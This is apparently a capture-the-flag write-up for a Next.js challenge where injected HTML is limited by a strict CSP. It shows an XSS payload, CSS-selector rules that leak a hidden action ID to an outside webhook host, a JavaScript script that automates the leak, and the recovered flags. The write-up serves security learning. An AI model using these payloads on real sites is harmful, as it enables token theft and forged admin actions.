By: mr_mph
okay so we get raw html injection. should be simple XSS right? first thought:
<img
src
onerror="document.querySelectorAll('form > button').forEach((button) => button.click())"
/>
unfortunately no, csp is strict and won’t allow inline scripts to execute:
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'unsafe-inline' *;
img-src 'self' 'unsafe-inline' *;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`;
can bypass the middleware that adds csp? there was a CVE for that recently
unfortunately our next.js version is a non vulnerable one
"dependencies": {
"better-sqlite3": "^11.10.0",
"dotenv": "^16.5.0",
"express": "^5.1.0",
"next": "15.3.2",
"puppeteer": "^24.8.2",
"react": "^19.0.0",
"react-dom": "^19.0.0"
},
Solve idea:
when the admin submits the form, they are simply doing POST /api/submit/<id>
the only thing verified on this request is the Next-Action:
header
running locally, this is 402d81d70900d0f972b0a13b87c77891effc6148a3
, but it seems to be random with each instance. so let’s exfiltrate it using css (remember style-src 'self' 'unsafe-inline' *;
)
here’s an idea:
form:has(input[name^="$ACTION_ID_0"]) {
background-image: url("https://l574jabr.c5.rs/0") !important;
}
what if we just bruteforce this, where the only style that applies is the one where the element actually exists. something like:
<style>
form:has(input[name^="$ACTION_ID_0"]) {
background-image: url("https://l574jabr.c5.rs/0") !important;
}
form:has(input[name^="$ACTION_ID_1"]) {
background-image: url("https://l574jabr.c5.rs/1") !important;
}
form:has(input[name^="$ACTION_ID_2"]) {
background-image: url("https://l574jabr.c5.rs/2") !important;
}
form:has(input[name^="$ACTION_ID_3"]) {
background-image: url("https://l574jabr.c5.rs/3") !important;
}
form:has(input[name^="$ACTION_ID_4"]) {
background-image: url("https://l574jabr.c5.rs/4") !important;
}
form:has(input[name^="$ACTION_ID_5"]) {
background-image: url("https://l574jabr.c5.rs/5") !important;
}
form:has(input[name^="$ACTION_ID_6"]) {
background-image: url("https://l574jabr.c5.rs/6") !important;
}
form:has(input[name^="$ACTION_ID_7"]) {
background-image: url("https://l574jabr.c5.rs/7") !important;
}
form:has(input[name^="$ACTION_ID_8"]) {
background-image: url("https://l574jabr.c5.rs/8") !important;
}
form:has(input[name^="$ACTION_ID_9"]) {
background-image: url("https://l574jabr.c5.rs/9") !important;
}
form:has(input[name^="$ACTION_ID_a"]) {
background-image: url("https://l574jabr.c5.rs/a") !important;
}
form:has(input[name^="$ACTION_ID_b"]) {
background-image: url("https://l574jabr.c5.rs/b") !important;
}
form:has(input[name^="$ACTION_ID_c"]) {
background-image: url("https://l574jabr.c5.rs/c") !important;
}
form:has(input[name^="$ACTION_ID_d"]) {
background-image: url("https://l574jabr.c5.rs/d") !important;
}
form:has(input[name^="$ACTION_ID_e"]) {
background-image: url("https://l574jabr.c5.rs/e") !important;
}
form:has(input[name^="$ACTION_ID_f"]) {
background-image: url("https://l574jabr.c5.rs/f") !important;
}
</style>
the action id is 42 characters long, so lets automate this. here’s the script I asked chatgpt to make to build and send our payloads automatically:
(async () => {
const hex = "0123456789abcdef".split("");
let prefix = ""; // we'll build this up via prompts
for (let pos = 0; pos < 42; pos++) {
// build all 16 CSS rules for this position
const rules = hex
.map(
c =>
`form:has(input[name^="$ACTION_ID_${prefix}${c}"])` +
`{ background-image:url("https://l574jabr.c5.rs/pos${pos}_char${c}")!important; }`
)
.join("");
const payload = `<style>${rules}</style>`;
// fire the CSRF probe
await fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ beg: payload }),
});
console.log(
`▶️ Probed pos ${pos} (prefix="${prefix}") — check which /pos${pos}_char? arrived`
);
// prompt you to tell the script which nibble actually hit
const got = prompt(
`Enter the correct hex character for position ${pos} (0–f):`
);
if (!got || !hex.includes(got.toLowerCase())) {
console.error("Invalid input—aborting.");
return;
}
prefix += got.toLowerCase();
}
console.log("✅ Fully recovered action ID:", prefix);
alert(`Done! Action ID = ${prefix}`);
})();
run the script, inputting each char as we get it on the webhoook:
action ID: 4038bab1cb8b6b89804a0d7f49490fb39d1ed8ece5
we recreate the (approve) button nextjs action:
and solved! (we approve our 1st submission)
flag: SVUSCG{7a0508415e49e3928cb75787b1b67494}
Revenge-O-Matic 3000
literally the exact same thing, just on the revenge version (my solve works for both)
keep going…
action id: 40001551c7bc4c6f3dff9234436434ae1187dc668c
flag: SVUSCG{ee2acd83da1b34edc5536edaf534b8d9}